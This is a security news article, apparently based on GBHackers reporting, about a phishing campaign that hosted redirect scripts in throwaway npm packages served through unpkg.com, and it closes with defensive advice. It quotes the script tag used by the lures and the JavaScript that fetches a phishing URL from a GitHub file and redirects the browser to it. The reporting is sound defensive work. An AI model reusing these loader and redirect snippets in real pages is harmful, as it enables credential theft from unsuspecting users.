Malicious NPM Packages Used in Sophisticated Developer Cyberattack
## Cybersecurity: Phishing Campaign Leveraging npm Ecosystem
Cybersecurity: Phishing Campaign Leveraging npm Ecosystem
In October 2025, security researchers identified a significant phishing campaign exploiting the npm ecosystem. This campaign does not target developers during package installation. Instead, it uses the unpkg.com CDN as a temporary hosting platform for malicious JavaScript.
Attackers have introduced over 175 transient npm packages, transforming a trusted open-source delivery network into a large-scale phishing infrastructure. This campaign targets enterprise employees in Europe’s industrial, technology, and energy sectors.
Instead of embedding malware in popular modules, adversaries created ephemeral packages with names matching the pattern redirect-[a-z0-9]{6} .
Each package contains a minimal JavaScript file named beamglea.js and HTML “business document” lures. When these HTML files are opened in a browser, they load the malicious script from unpkg.com using:
<script src="https://unpkg.com/redirect-abc123@1.0.0/beamglea.js" defer></script>
The script redirects the user to a credential-harvesting site. To enhance phishing effectiveness, the URL fragment includes the victim’s email address, making forms appear pre-filled.
In October 2025, security researchers identified a significant phishing campaign exploiting the npm ecosystem.
The first traces of this infrastructure appeared on September 24, 2025. On October 9, 2025, 175 malicious packages under the codename “Beamglea” were disclosed, impacting over 135 organizations.
A subsequent analysis on October 10 revealed a related cluster using mad-x.x.x.x.x.x naming, indicating a possible copycat operation or parallel research by the same threat actor.
The “mad” packages target a broader audience by masquerading as a “Cloudflare Security Check” page. When users interact with the page, anti-devtools logic and frame-busting techniques are executed, fetching a remote GitHub-hosted file containing the attacker's payload URL.
Key features include disabling right-click, blocking F12 and inspection shortcuts, and blanking the page if developer tools are detected.
Upon verification, the script reads the URL from a GitHub file and redirects the parent window to the phishing page:
document.querySelector('.checkbox-container').addEventListener('change', function() { if (!this.checked) return; setTimeout(() => { const urlFile = 'https://raw.githubusercontent.com/.../mad4.txt'; fetch(urlFile, { method: 'GET', cache: 'no-store' }) .then(res => res.text()) .then(text => { const target = text.trim(); if (!/^https?:\/\//i.test(target)) return; try { window.top.location.href = target; } catch (e) { window.location.href = target; } }); }, 1000 + Math.random() * 1000); });
This campaign highlights the expanding threat landscape within the open-source software supply chain. Organizations should:
Treat external script loads via unpkg.com as high risk, especially those in email-delivered HTML files. Implement email gateway filters to strip or quarantine HTML attachments referencing unpkg.com. Educate employees about phishing tactics leveraging trusted CDNs and pre-filled credential forms. Monitor outbound web requests for patterns matching the redirect- and mad- naming conventions. Collaborate with npm registry maintainers and CDN operators to flag and remove transient packages.
As attackers continue to explore new methods to exploit open-source infrastructure, defenders must extend vigilance beyond installation-based threats and secure every step of the software delivery and consumption lifecycle.
Based on reporting by GBHackers.